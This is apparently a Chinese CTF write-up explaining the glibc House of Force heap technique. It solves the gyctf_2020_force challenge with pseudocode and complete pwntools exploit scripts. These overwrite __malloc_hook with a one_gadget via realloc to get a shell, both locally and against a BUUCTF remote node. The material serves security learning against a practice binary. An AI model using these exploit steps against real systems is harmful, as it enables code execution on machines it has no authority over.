提要
参考文章:ctfwiki
神奇的泄露libc:通过malloc大于top chunk size的chunk,泄露出的chunk地址与libc存在固定的偏移
原理介绍
运用条件
- 可以修改top chunk的size大小
- 可以控制分配任意大小的chunk
原理分析
当我们malloc的时候,若是空闲的堆块无法满足malloc的要求,就会从top chunk中分割合适的chunk
- 如果top chunk的分配的size是由我们控制,那么我们可以造成任意地址写
但是这里涉及到top chunk size的验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| victim = av->top; size = chunksize(victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
|
- 要绕过第一个验证很简单,只需要将size修改为一个很大的数字就行了,如0xffffffffffff,这也是利用条件1的必要性
1 2
| remainder = chunk_at_offset(victim, nb); av->top = remainder;
|
例题分析
gyctf_2020_force
题目链接
ida速览
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void __fastcall __noreturn main(int a1, char **a2, char **a3) { __int64 v3; char s[256]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(s, 255, sizeof(s)); while ( 1 ) { memset(s, 255, sizeof(s)); puts("1:add"); puts("2:puts"); read(0, nptr, 0xFuLL); v3 = atol(nptr); if ( v3 == 1 ) { add(); } else if ( v3 == 2 ) { show(); } } }
|
add
思路分析(本地运行分析)
- 只有一个add函数,只要malloc size小于0x50,就存在堆溢出,可以用来修改top chunk size
泄露Libc
- 但是如何泄露libc呢?如开头所说,神奇的泄露libc,我们malloc一个很大的size,此时是通过mmap分配的chunk,该chunk的地址和libc存在固定的偏移,如下:
1 2
| libc_base = add(0x200000,b'bbbb') + 0x3ffff0 success("libc_base address : "+hex(libc_base))
|
- 左边就是泄露的地址,右边是libc的地址,固定偏移在gdb里面用distance求一下即可,这样我们就获得了libc的基地址
实现HOF
- 接下来就是修改topchunk的size,并且为修改malloc_hook做好准备
1 2 3 4 5 6 7 8 9 10
| payload = b'a'*0x10 + p64(0) + p64(0xffffffffffffffff) heapaddr = add(0x10,payload) success("chunk0 address : "+hex(heapaddr)) top = heapaddr + 0x10
malloc_hook = libc_base + libc.sym['__malloc_hook']
onegadget = libc_base + 0x4527a realloc = libc_base + libc.sym['__libc_realloc']
|
- 简单的溢出修改top chunk 的 size,并且通过chunk0获得top chunk的地址,通过libc基地址获得对应函数地址
- 下面就是任意地址写了,先要确定offset是多少。这里我们要修改malloc_hook函数为onegadget,那么offset 就是malloc_hook - top chunk
1
| offset = malloc_hook - top
|
- 偏移确认完成,正式的运用却是offset-0x20,-0x10用于对于,-0x10将malloc_hook放到user data部分
1 2 3 4
| offset = malloc_hook - top success("offset : "+hex(offset)) add(offset - 0x20,b'bbbb') add(0x10,p64(onegadget))
|
- 最后只需要再次调用malloc即可,但是可以发现,将onegadget都试完,也是无法getshell的,为什么呢?
realloc和malloc共同利用
1 2 3 4 5 6 7 8 9
| offset = malloc_hook - top success("offset : "+hex(offset)) add(offset - 0x30,b'bbbb') add(0x10,p64(0) + p64(onegadget) + p64(realloc+0x4))
p.sendlineafter("2:puts\n",str(1)) p.sendlineafter("size\n",str(1)) p.interactive()
|
本地完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import * from LibcSearcher3 import * context(arch='amd64',log_level='debug')
p = process("./pwn") elf = ELF("./pwn") libc = ELF("/home/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def bug(): gdb.attach(p) pause()
def add(size,content): p.sendlineafter("2:puts\n",str(1)) p.sendlineafter("size\n",str(size)) p.recvuntil("addr 0x") heapaddr = int(p.recv(12),16) p.recvuntil("content\n") p.sendline(content) return heapaddr
libc_base = add(0x200000,b'bbbb') + 0x3ffff0 success("libc_base address : "+hex(libc_base))
payload = b'a'*0x10 + p64(0) + p64(0xffffffffffffffff) heapaddr = add(0x10,payload) success("chunk0 address : "+hex(heapaddr)) top = heapaddr + 0x10
malloc_hook = libc_base + libc.sym['__malloc_hook'] onegadget = libc_base + 0x4527a realloc = libc_base + libc.sym['__libc_realloc'] success("onegadget : "+hex(onegadget))
offset = malloc_hook - top success("offset : "+hex(offset)) add(offset - 0x30,b'bbbb') add(0x10,p64(0) + p64(onegadget) + p64(realloc+0x4))
p.sendlineafter("2:puts\n",str(1)) p.sendlineafter("size\n",str(1)) p.interactive()
|
远程完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * from LibcSearcher3 import * context(arch='amd64',log_level='debug')
p = remote("node5.buuoj.cn",28245)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so") def bug(): gdb.attach(p) pause()
def add(size,content): p.sendlineafter("2:puts\n",str(1)) p.sendlineafter("size\n",str(size)) p.recvuntil("addr 0x") heapaddr = int(p.recv(12),16) p.recvuntil("content\n") p.sendline(content) return heapaddr
libc_base = add(0x200000,b'bbbb') + 0x200ff0 success("libc_base address : "+hex(libc_base))
payload = b'a'*0x10 + p64(0) + p64(0xffffffffffffffff) heapaddr = add(0x10,payload) success("chunk0 address : "+hex(heapaddr)) top = heapaddr + 0x10
malloc_hook = libc_base + libc.sym['__malloc_hook']
onegadget = libc_base + 0x4526a realloc = libc_base + libc.sym['__libc_realloc'] success("onegadget : "+hex(onegadget))
offset = malloc_hook - top success("offset : "+hex(offset)) add(offset - 0x30,b'bbbb') add(0x10,p64(0) + p64(onegadget) + p64(realloc+0x4))
p.sendlineafter("2:puts\n",str(1)) p.sendlineafter("size\n",str(1)) p.interactive()
|